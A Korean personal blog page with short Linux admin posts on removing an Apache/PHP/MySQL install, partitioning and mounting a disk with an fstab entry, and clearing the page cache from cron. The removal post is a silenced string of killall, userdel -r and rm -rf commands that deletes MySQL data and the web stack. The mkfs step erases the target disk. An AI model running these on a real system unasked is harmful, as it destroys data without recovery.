[기타] ikvm 초기화  (0) 2016.09.19
[기타] APM 제거방법  (0) 2016.09.17
포맷&마운트 및 fstab 등록  (0) 2016.09.05
[기타] 캐쉬메모리 초기화 방법  (0) 2016.09.05
Posted by 실력키우기

/etc/init.d/apachectl stop > /dev/null 2>&1

/etc/init.d/mysqld stop > /dev/null 2>&1

killall httpd > /dev/null 2>&1

killall libhttpd.ep > /dev/null 2>&1

killall mysqld > /dev/null 2>&1

userdel -r mysql > /dev/null 2>&1

rm -rf /usr/local/src/APM_Setup/ > /dev/null 2>&1

rm -rf /usr/local/Zend/ > /dev/null 2>&1

rm -rf /usr/local/php/ > /dev/null 2>&1

rm -rf /usr/local/mysql/ > /dev/null 2>&1

rm -rf /usr/local/apache/ > /dev/null 2>&1

rm -rf /etc/my.cnf /etc/init.d/mysqld /etc/init.d/apachectl > /dev/null 2>&1

Posted by 실력키우기

[하드디스크 파티션 나누기]


# fdisk -l    -> 해당명령어로 디스크 확인


# fdisk /dev/sdb    -> 추가된 하드디스크 파티션 나누기


# vi /etc/fstab    -> 해당명령어로 os 파일시스템확인




[파일시스템 생성]


# mkfs.ext4 /dev/sdb1    -> 해당 명령어로 파일시스템 생성




[마운트]


# mount /dev/sdb1 /home/data    -> 해당 명령어로 마운트


# df -Th    -> 해당 명령어로 확인




[fstab 등록]


# vi /etc/fstab 

/dev/sdb1    /home/data    ext4    defaults    1 0    -> 리부팅 이후에도 자동적으로 마운트 하기위한 설정



'Linux Server > etc' 카테고리의 다른 글

[기타] ubuntu 네트워크 설정  (0) 2016.09.24
[기타] ikvm 초기화  (0) 2016.09.19
[기타] rkhunter 다운로드 및 사용방법  (0) 2016.09.17
[기타] APM 제거방법  (0) 2016.09.17
[기타] 캐쉬메모리 초기화 방법  (0) 2016.09.05
Posted by 실력키우기

[캐쉬메모리]


캐쉬메모리는 한번 지우더라도 금방 쌓이게된다.

그렇기 때문에 크론탭에 등록하여 주기적으로 지워주는걸 추천한다.




[캐쉬메모리 초기화 방법]


echo 3 > /proc/sys/vm/drop_caches    ->  콘솔상에서 해당명령어 실행





[크론탭에 등록하는 방법]


0 4 * * * sync && echo 3 > /proc/sys/vm/drop_caches    ->  새벽4시마다 캐쉬메모리는 지운다는 내용



'Linux Server > etc' 카테고리의 다른 글

[기타] ubuntu 네트워크 설정  (0) 2016.09.24
[기타] ikvm 초기화  (0) 2016.09.19
[기타] rkhunter 다운로드 및 사용방법  (0) 2016.09.17
[기타] APM 제거방법  (0) 2016.09.17
포맷&마운트 및 fstab 등록  (0) 2016.09.05
Posted by 실력키우기
이전버튼 1 이전버튼

블로그 이미지
공 부 하 는 직 장 인
실력키우기

태그목록

공지사항

Yesterday
Today
Total

최근에 달린 댓글